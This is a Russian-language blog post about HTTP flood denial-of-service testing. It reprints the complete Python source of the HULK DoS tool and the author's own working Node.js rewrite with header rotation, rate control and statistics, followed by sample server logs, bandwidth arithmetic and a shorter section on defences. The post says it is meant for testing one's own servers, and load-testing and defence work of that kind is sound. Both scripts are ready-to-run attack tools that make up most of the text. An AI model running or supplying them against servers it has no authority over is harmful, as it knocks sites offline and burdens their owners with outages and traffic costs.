Вечно живой DoS

Когда-то, почти год назад, пришлось мне протестировать рабочий сервер под нагрузкой. В общем я его уронил (сам уронил, сам и поднял. что интересно, посыпались службы и перезагрузка проблему не решила. теперь я эти дыры там прикрыл), но рассказ не об этом. Тогда для тестирования я нашел скрипт hulk.py.

Вот тут жирно напишу, чтобы меня не трогали всякие там специалисты по противодействию компьютерным атакам. Весь нижепривенденный текст исключительно для проверки СОБСТВЕННЫХ СЕРВЕРОВ на уязвимость. Я не поддерживаю никакие стремления к противоправному использованию данного кода. Даже при тестировании вы можете уничтожить свой сервер (перегрев системы охлаждения), вывести его из строя (падение служб и системных процессов в ходе недостатка ресурсов), влететь на оплату за трафик (создается паразитная нагрузка большой емкости, например за пару часов периодических тестов было использовано порядка 100ГБ трафика, это касается как атакуемого сервера, так и атакующего устройства)

Собственно исходный скрипт на Python (Автор Бари Шерман):

# ----------------------------------------------------------------------------------------------
# HULK - HTTP Unbearable Load King
#
# this tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them
# to their knees by exhausting the resource pool, its is meant for research purposes only
# and any malicious usage of this tool is prohibited.
#
# author :  Barry Shteiman , version 1.0
# ----------------------------------------------------------------------------------------------
import urllib2
import sys
import threading
import random
import re

#global params
url=''
host=''
headers_useragents=[]
headers_referers=[]
request_counter=0
flag=0
safe=0

def inc_counter():
	global request_counter
	request_counter+=1

def set_flag(val):
	global flag
	flag=val

def set_safe():
	global safe
	safe=1
	
# generates a user agent array
def useragent_list():
	global headers_useragents
	headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
	headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
	headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
	return(headers_useragents)

# generates a referer array
def referer_list():
	global headers_referers
	headers_referers.append('http://www.google.com/?q=')
	headers_referers.append('http://www.usatoday.com/search/results?q=')
	headers_referers.append('http://engadget.search.aol.com/search?q=')
	headers_referers.append('http://' + host + '/')
	return(headers_referers)
	
#builds random ascii string
def buildblock(size):
	out_str = ''
	for i in range(0, size):
		a = random.randint(65, 90)
		out_str += chr(a)
	return(out_str)

def usage():
	print '---------------------------------------------------'
	print 'USAGE: python hulk.py <url>'
	print 'you can add "safe" after url, to autoshut after dos'
	print '---------------------------------------------------'

	
#http request
def httpcall(url):
	useragent_list()
	referer_list()
	code=0
	if url.count("?")>0:
		param_joiner="&"
	else:
		param_joiner="?"
	request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
	request.add_header('User-Agent', random.choice(headers_useragents))
	request.add_header('Cache-Control', 'no-cache')
	request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
	request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
	request.add_header('Keep-Alive', random.randint(110,120))
	request.add_header('Connection', 'keep-alive')
	request.add_header('Host',host)
	try:
			urllib2.urlopen(request)
	except urllib2.HTTPError, e:
			#print e.code
			set_flag(1)
			print 'Response Code 500'
			code=500
	except urllib2.URLError, e:
			#print e.reason
			sys.exit()
	else:
			inc_counter()
			urllib2.urlopen(request)
	return(code)		

	
#http caller thread 
class HTTPThread(threading.Thread):
	def run(self):
		try:
			while flag<2:
				code=httpcall(url)
				if (code==500) & (safe==1):
					set_flag(2)
		except Exception, ex:
			pass

# monitors http threads and counts requests
class MonitorThread(threading.Thread):
	def run(self):
		previous=request_counter
		while flag==0:
			if (previous+100<request_counter) & (previous<>request_counter):
				print "%d Requests Sent" % (request_counter)
				previous=request_counter
		if flag==2:
			print "\n-- HULK Attack Finished --"

#execute 
if len(sys.argv) < 2:
	usage()
	sys.exit()
else:
	if sys.argv[1]=="help":
		usage()
		sys.exit()
	else:
		print "-- HULK Attack Started --"
		if len(sys.argv)== 3:
			if sys.argv[2]=="safe":
				set_safe()
		url = sys.argv[1]
		if url.count("/")==2:
			url = url + "/"
		m = re.search('http\://([^/]*)/?.*', url)
		host = m.group(1)
		for i in range(500):
			t = HTTPThread()
			t.start()
		t = MonitorThread()
		t.start()

 

Когда тестировал сервер столкнулся с проблемой того, что часть библиотек уже называется иначе, к тому же нужен был python 3, а из коробки тогда шел вроде бы 2.4. В общем был небольшой геморрой с установкой. Давно уже появилась идея переписать его на javascript. При этом, я не ставил цели сделать точную копию. Целью было сделать рабочую копию и, возможно, улучшить. К тому же javascript из коробки асинхронный и не требует дополнительных библиотек ветвления.

Исходя из анализа скрипта, определил что необходимо генерировать определенное количество запросов на сервер. При этом, стратегия заключается в смене заголовков:

  • User-Agent — служебный заголовок клиентского браузера (это нужно обновить на более новые)
  • Referer — ссылка, откуда был переход (также нужно обновить на более актуальные для моего региона)
  • Keep-Alive — длительность поддержания соединения секунд (тут просто нужно обратить внимание, опишу ниже)

Итак для создания запроса решил воспользоваться библиотеками http/https, как более низкоуровневыми. А именно http.request.

Это позволит слать не только GET-запросы, но и остальные типы запросов (уже лучше, чем в hulk.py). Для того чтобы не описывать кучу заголовков руками и в переменных, не указывать тип соединения http или https решил использовать библиотеку url для парсинга ссылки. Важно понимать, что учитывая огромное количество запросов, будет значительная нагрузка на атакующий сервер, соответственно в самом цикле атаки должно быть минимум логики. Т.е. неизменяемые заголовки и переменные описываем вне цикла, в цикле только изменяемые и сам запрос. Также у меня родилась идея ограничить число запросов в минуту. Это позволит тестировать сервер не только под экстремальной нагрузкой, но и под средней, но продолжительной. Учитывая, что точность здесь роли не играет, я пренебрег округлением, чтобы сэкономить ресурсы сервера. Т.к. javascript асинхронный из коробки, то нам необходимо описать функцию DoS-атаки, а позже вызывать её N-раз с таймаутом увеличивающимся в геометрической прогрессии от номера запроса. Также по итогу нужно вывести статистику, т.е. мне необходимо считать результаты запросов. Сами же результаты я разделил на три типа:

  • GOOD — статус сервера 200
  • BAD — статус сервера отличен от 200 (например 500 — Internal Server Error, когда сервер не смог корректно обработать запрос или 404 Not Found, когда сервер фактически лег и уже не может отдать файл или файл не найден)
  • DoS — когда атакующий сервер вообще не смог достучаться до атакуемого (тут важно понимать, что возможно проблемы не на атакуемом сервере, а у вас. для проверки рекомендую проверить доступность сервера с другого устройства с другим IP.)

Для корректного тестирования вы должны понимать:

Keep-Alive установлен в районе 2 минут, т.е. соединение будет держаться 2 минуты. Ethernet-адаптер имеет ограниченное число открытых TCP-портов (65 536). Часть из них уже зарезервирована системой, часть используется. Т.о. предположим, что у вас есть чистых 60 000 портов. Соответственно за две минуты вы можете создать паразитную емкость в 60 000 подключений к сайту. А значит максимальное значение при использовании скрипта 30 000 в минуту. Теперь представим что вы нашли страничку на сервере с весом 100КБ и собираетесь атаковать по ней. Да, дробление страницы и скриптов на модули — неплохой вариант защиты от DoS-атаки, т.к. парсить содержимое страницы или вести атаку по многим ссылкам — затратные операции для ЦП атакующего. Так вот 100КБ * 30 000 = 3 000 000 КБ. Там по каким-то новомодным правилам теперь в мегабайте не 1024 килобайта, а 1000. Я привык считать по 1024, но воспользуемся этим «модным» допущением. Итого мы получим нагрузку в 3ГБ/минуту. или 400Мбит/сек. Такой должен быть у вас канал для атаки 30к запросов в секунду емкостью в 100КБ каждый.

Учитывая, что канал на серверах значительно шире — логично было бы предположить, что ничего у вас не выйдет. Но не тут то было. Если у сервера 1 физический адаптер с IP-адресом, без специализированного оборудования — он точно также упрется в количество открытых TCP-сокетов и начнутся проблемы с доступностью. Это и есть то самое состояние DoS. Но это вполне себе идеальный случай (для сервера). Скорее всего там будет не слишком хорошо настроенный веб-сервер, который упадет намного раньше, чем займет все доступные TCP-сокеты. Особенно это касается бесплатных и дешевых хостингов. Есть и еще один аспект, если страница на сервере генерируется скриптом — каждый запрос занимает процессорное время, сервер физически не сможет обрабатывать такое количество запросов на 1-2 ядрах. Много вы знаете каких-нибудь интернет-магазинов размещенных на виртуальных машинах с хотя-бы 28 ядрами? Если же на сервере отключено кэширование запросов, стоит плохо настроенный апач или, еще хуже, сервер каждый раз читает файл в оперативную память — то ваши 60к запросов потребуют 6ГБ оперативной памяти только на вас.

Это основные аспекты уязвимости сервера DoS-атакой. Ну и вот что у меня вышло:

/*
 *		HULK v1.0.0
 *	https://github.com/siarheidudko/hulk
 *	(c) 2018 by Siarhei Dudko.
 *	https://github.com/siarheidudko/hulk/LICENSE
 *	
 *	Quotation of the original file:
 *	"This tool is a dos tool that is meant to put heavy load on HTTP servers in 
 *	order to bring them to their knees by exhausting the resource pool, 
 *	its is meant for research purposes only and any malicious usage of this tool is prohibited."
 *	Originaly (python) author :  Barry Shteiman - http://www.sectorix.com/2012/05/17/hulk-web-server-dos-tool/
 *	
 *	Rewritten with python (concept) under nodejs, optimized by Siarhei Dudko
 *	
 */

"use strict"

/* link of DoS */
var set_you_link='http://you_link.com/',
/* data request */
set_this_data = '',
/* method request */
set_this_method = 'GET',
/* number of total requests */
set_req_total = 20000,
/* number of requests per minute */
set_req_in_min = 10000;

hulk(set_you_link, set_this_data, set_this_method, set_req_total, set_req_in_min);

function hulk(you_link, this_data, this_method, req_total, req_in_min){
	const http = require('http'),
	https = require('https'),
	url=require("url"),
	colors=require("colors");

	var req,
	hostname,
	getoptions,
	headers_useragents=[],
	headers_referers=[],
	req_good = 0,
	req_bad = 0,
	req_very_bad = 0,
	req_real = 0;

	if (url.parse(you_link).protocol === 'https:') {
		req = https;
	} else {
		req = http;
	}

	hostname = url.parse(you_link).hostname;
	getoptions = url.parse(you_link);

	headers_useragents.push('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3');
	headers_useragents.push('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)');
	headers_useragents.push('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)');
	headers_useragents.push('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1');
	headers_useragents.push('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1');
	headers_useragents.push('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)');
	headers_useragents.push('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)');
	headers_useragents.push('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)');
	headers_useragents.push('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)');
	headers_useragents.push('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)');
	headers_useragents.push('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)');
	headers_useragents.push('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51');
	headers_useragents.push('Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25');
	headers_useragents.push('Mozilla/5.0 (Linux; U; Android 2.3.5; ru-ru; Philips W632 Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1');
	headers_useragents.push('Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25');
	headers_useragents.push('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0');
	headers_useragents.push('Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36');
	headers_useragents.push('Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36');
	headers_useragents.push('Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36 OPR/40.0.2308.62');
	headers_useragents.push('Opera/9.80 (Windows NT 6.2; WOW64) Presto/2.12.388 Version/12.17');
	headers_useragents.push('Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2');
	headers_useragents.push('Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; rv:11.0) like Gecko');
	headers_useragents.push('Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko');
	headers_useragents.push('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586');

	headers_referers.push('http://www.google.com/?q=');
	headers_referers.push('https://www.yandex.by/search/?lr=157&text=');
	headers_referers.push('https://www.yandex.ru/search/?lr=157&text=');
	headers_referers.push('https://go.mail.ru/search?q=');
	headers_referers.push('https://nova.rambler.ru/search?query=');
	headers_referers.push('http://search.tut.by/?query=');
	headers_referers.push('https://www.bing.com/search?q=');
	headers_referers.push(url.parse(you_link).protocol + '//' + hostname + '/');

	if(typeof(this_data) !== 'undefined'){
		getoptions.method = this_method;
	} else {
		getoptions.method = 'GET';
	}
	getoptions.headers = {};
	getoptions.headers["Cache-Control"] = 'no-cache';
	getoptions.headers["Accept-Charset"] = 'ISO-8859-1,utf-8;q=0.7,*;q=0.7';
	getoptions.headers["Host"] = hostname; 

	function DoS(req_num){ 
		try{
			let rand_useragents = Math.floor(Math.random() * headers_useragents.length);
			let rand_referers = Math.floor(Math.random() * headers_referers.length);
			getoptions.headers["User-Agent"] = headers_useragents[rand_useragents];
			getoptions.headers["Referer"] = headers_referers[rand_referers] + encodeURIComponent(String.fromCharCode((5 + Math.floor(Math.random() * 30)),(5 + Math.floor(Math.random() * 60)),(10 + Math.floor(Math.random() * 70))));
			getoptions.headers["Keep-Alive"] = (110 + Math.floor(Math.random() * 11)).toString();
			let this_request = req.request(getoptions, (response) => { 
				if(response.statusCode === 200){
					console.log(colors.green(`${req_num} STATUS: ${response.statusCode}`));
					req_good++;
					DoSStat();
				} else {
					console.log(colors.yellow(`${req_num} STATUS: ${response.statusCode}`));
					req_bad++;
					DoSStat();
				}
			}); 
			if((typeof(this_data) === 'String') && (this_data !== '')){
				this_request.write(this_data);
			}
			this_request.on('error', function (e) {
				console.log(colors.red(e.code));
				req_very_bad++;
				DoSStat();
			});
			this_request.on('timeout', function () {
				console.log(colors.red('TIMEOUT'));
				this_request.abort();
			});
			this_request.setTimeout(5000);
			this_request.end();
		} catch(e){
			console.log(colors.red(`${req_num} ITERATION ERROR: ${e}`));
			DoSStat();
		}
	}

	function DoSStat(){
		req_real++;
		if(req_real === req_total){
			console.log(colors.magenta('################# STATISTICS: #################'));
			console.log(colors.gray('TOTAL REQUEST:') + colors.green(req_total));
			console.log(colors.gray('SPEED REQUEST:') + colors.green(req_in_min) + colors.gray(' req/min'));
			console.log(colors.gray('REAL REQUEST:') + colors.green((req_good + req_bad + req_very_bad)));
			console.log(colors.green('GOOD REQUEST:' + req_good));
			if(req_bad > 0)
				console.log(colors.yellow('SERVER ERROR:' + req_bad));
			if(req_very_bad > 0)
				console.log(colors.red('DENIAL OF SERVICE:' + req_very_bad));
		}
	}

	const timer_timeout = parseInt((60000 / req_in_min), 10);
	for(let i = 0; i < req_total; i++){
		let timer = i * timer_timeout;
		setTimeout(DoS, timer, i);
	}
}

Внешний вид консоли (раскрашено при помощи библиотеки colors) атакующего:

Вывод статистики:

А вот такой график нагрузки на МОЙ сервер (вывести из строя цели не было, атака была прекращена сразу после отсутствия доступа к серверу):

Как видно, число запросов превысило допустимы уровень.

Страничка весила немного, потому скорость на порту не превысила 6Мбит, однако сайт упал (перестал отвечать даже ошибкой 500).

В связи с тем что php не успевал выполняться, появились ошибки 404 на страницах, которые на сайте есть.

Время запросов зашкаливало.

Примерный вид логов NGINX:

10.0.5.16 - - [21/Apr/2018:16:10:02 +0300] "GET / HTTP/1.0" 200 6946 "https://ЗДЕСЬ_БЫЛА_ССЫЛКА/%07%0B3" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1"
10.0.5.16 - - [21/Apr/2018:16:10:02 +0300] "GET / HTTP/1.0" 200 6946 "http://engadget.search.aol.com/search?q=%1A0%1E" "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51"
10.0.5.16 - - [21/Apr/2018:16:10:02 +0300] "GET / HTTP/1.0" 200 6946 "http://www.usatoday.com/search/results?q=%203D" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1"
10.0.5.16 - - [21/Apr/2018:16:10:02 +0300] "GET / HTTP/1.0" 200 6946 "http://www.google.com/?q=%1C%3B%12" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1"
10.0.5.16 - - [21/Apr/2018:16:10:02 +0300] "GET / HTTP/1.0" 200 6946 "http://engadget.search.aol.com/search?q=%16%16H" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1"
10.0.5.16 - - [21/Apr/2018:16:10:02 +0300] "GET / HTTP/1.0" 200 6946 "http://engadget.search.aol.com/search?q=%13%0F%2C" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1"
10.0.5.16 - - [21/Apr/2018:16:10:02 +0300] "GET / HTTP/1.0" 200 6946 "https://ЗДЕСЬ_БЫЛА_ССЫЛКА/%0B%08E" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1"
10.0.5.16 - - [21/Apr/2018:16:10:02 +0300] "GET / HTTP/1.0" 200 6946 "https://ЗДЕСЬ_БЫЛА_ССЫЛКА/%1050" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)"
10.0.5.16 - - [21/Apr/2018:16:10:02 +0300] "GET / HTTP/1.0" 200 6946 "http://engadget.search.aol.com/search?q=%0C%13%3E" "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)"
10.0.5.16 - - [21/Apr/2018:16:10:02 +0300] "GET / HTTP/1.0" 200 6946 "http://engadget.search.aol.com/search?q=%1E%25%0F" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)"
10.0.5.16 - - [21/Apr/2018:16:10:02 +0300] "GET / HTTP/1.0" 200 6946 "http://www.usatoday.com/search/results?q=%11%17K" "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)"
10.0.5.16 - - [21/Apr/2018:16:10:02 +0300] "GET / HTTP/1.0" 200 6946 "http://www.google.com/?q=%07%1F%20" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3"
10.0.5.16 - - [21/Apr/2018:16:10:02 +0300] "GET / HTTP/1.0" 200 6946 "http://www.usatoday.com/search/results?q=%1C%3BJ" "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)"
10.0.5.16 - - [21/Apr/2018:16:10:02 +0300] "GET / HTTP/1.0" 200 6946 "https://ЗДЕСЬ_БЫЛА_ССЫЛКА/%1B%18'" "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51"
10.0.5.16 - - [21/Apr/2018:16:10:02 +0300] "GET / HTTP/1.0" 200 6946 "http://engadget.search.aol.com/search?q=%22)D" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)"
10.0.5.16 - - [21/Apr/2018:16:10:02 +0300] "GET / HTTP/1.0" 200 6946 "http://www.google.com/?q=%20%14%40" "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)"
10.0.5.16 - - [21/Apr/2018:16:10:02 +0300] "GET / HTTP/1.0" 200 6946 "http://www.usatoday.com/search/results?q=%1D7%1D" "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)"
10.0.5.16 - - [21/Apr/2018:16:10:02 +0300] "GET / HTTP/1.0" 200 6946 "http://engadget.search.aol.com/search?q=%13%3D%26" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)"
10.0.5.16 - - [21/Apr/2018:16:10:02 +0300] "GET / HTTP/1.0" 200 6946 "http://engadget.search.aol.com/search?q=%05.N" "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51"
10.0.5.16 - - [21/Apr/2018:16:10:02 +0300] "GET / HTTP/1.0" 200 6946 "https://ЗДЕСЬ_БЫЛА_ССЫЛКА/%1E%0E%1C" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)"
10.0.5.16 - - [21/Apr/2018:16:10:02 +0300] "GET / HTTP/1.0" 200 6946 "https://ЗДЕСЬ_БЫЛА_ССЫЛКА/%1B%0C%1E" "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)"
10.0.5.16 - - [21/Apr/2018:16:10:02 +0300] "GET / HTTP/1.0" 200 6946 "http://www.usatoday.com/search/results?q=%11%3D%0E" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)"
10.0.5.16 - - [21/Apr/2018:16:10:02 +0300] "GET / HTTP/1.0" 200 6946 "http://www.usatoday.com/search/results?q=%1E%40%26" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1"
10.0.5.16 - - [21/Apr/2018:16:10:02 +0300] "GET / HTTP/1.0" 200 6946 "http://www.usatoday.com/search/results?q=%1B!%1A" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)"
10.0.5.16 - - [21/Apr/2018:16:10:02 +0300] "GET / HTTP/1.0" 200 6946 "http://www.google.com/?q=%11%15%0E" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1"
10.0.5.16 - - [21/Apr/2018:16:10:02 +0300] "GET / HTTP/1.0" 200 6946 "http://www.google.com/?q=%144%12" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)"

 

Как защититься от DoS-атаки? Многие посоветуют вам хотя бы бесплатную защиту от cloudflare. С технической точки зрения эта защита вам не поможет. Почему? Да потому что все запросы идут с 1 машины, она уже закэшировала ваш DNS адрес и фактически стучится к вам по прямому IP-адресу(hostname будет в заголовке), уже не говоря о том, что DNS можно прописать локально. Вот от DDoS-атаки сервис поможет, т.к. заблокирует большое количество обращений к DNS.

Фактически самой простой защитой останется анализировать входящий IP-адрес и при слишком частых обращениях блокировать его. Но и тут есть нюансы. IP-сейчас у многих динамический, т.е. сменить его не сложно, а старый останется заблокирован. Фактически вы можете потерять из-за этого хороших посетителей (при нынешнем NAT за каждым IP может быть сотня человек). Второй нюанс, что с этим сложно бороться с DDoS-атаками, т.к. будет большое количество IP-адресов. И самый главный нюанс с тем, чтобы этот анализирующий скрипт не потреблял ресурсов больше, чем ваш веб-сервер. Ему ведь необходимо мониторить кучу IP-адресов и на каждый из описанных выше 30 000 запросов произвести некоторые вычисления, занимающие процессорное время.

Лучшей же защитой все же будет оптимально настроенный веб-сервер и качественный код. Например, неплохим способом защиты будет перенос части логики на клиентскую машину (javascript), что сэкономит ресурсы сервера. Также можно дробить страницу/код на модули и подгружать по факту. Т.о. страница будет весить меньше, соответственно будет меньше затрачено ресурсов на её отдачу при атаке. Вы также можете передавать клиенту код, отправляющий вам какой-нибудь XHR POST-запрос с сгенерированным кодом, потом получать его и сравнивать, т.о. внося клиента в белый список. Идентифицоровать клиента можно по Cookie или заголовкам + IP. В общем как угодно, из минусов — такой способ не пустит роботов поисковых систем. Также можно настроить кэширование данных на веб-сервере, можно поставить более производительний nginx перед apache, хотя например apache употребив всю оперативную память просто будет убит systemd котроллером, что тоже не так плохо (в случае запуска службы httpd через systemctl).

Фактически же полной защиты от DoS и тем более DDoS не существует, т.к. она имитирует поведение обычного пользователя, просто увеличенное в тысячи или миллионы раз.  Лучший случай, это когда ваш сервер будет полностью доступен без каких либо действий сразу после прекращения атаки. Худший — он будет выведен из строя (упадут службы, потребуется перезагрузка или ручной запуск некоторых служб и процессов) или вовсе может быть уничтожен, при выходе из строя системы охлаждения сервера (при атаке значительно увеличится нагрузка, а значит тепловыделение).

В качестве теста был также выведен из строя на 10 минут интернет-магазин знакомого (по согласованию с владельцем). Любое использование кода в противоправных действиях может быть уголовно наказуемо, потому считайте что запрещено. Если вы атакуете с домашнего ПК, уж поверьте провайдеру вас вычислить не составит труда. Более того, даже при согласованной атаке с владельцем вы можете быть заблокированы провайдером, т.к. большинство контрактов запрещают создание паразитной емкости в сети провайдера. Я также отказываюсь от ответственности за любой причененный ущерб, в ходе тестирования. Все действия производятся вами на ваш страх и риск. Код опубликован в открытом доступе и считайте его общественным достоянием (сохраняю авторство за собой, идею за Бэном Шерманом). В оригинальном скрипте hulk.py лицензия не указана, потому обращайтесь за ней к автору.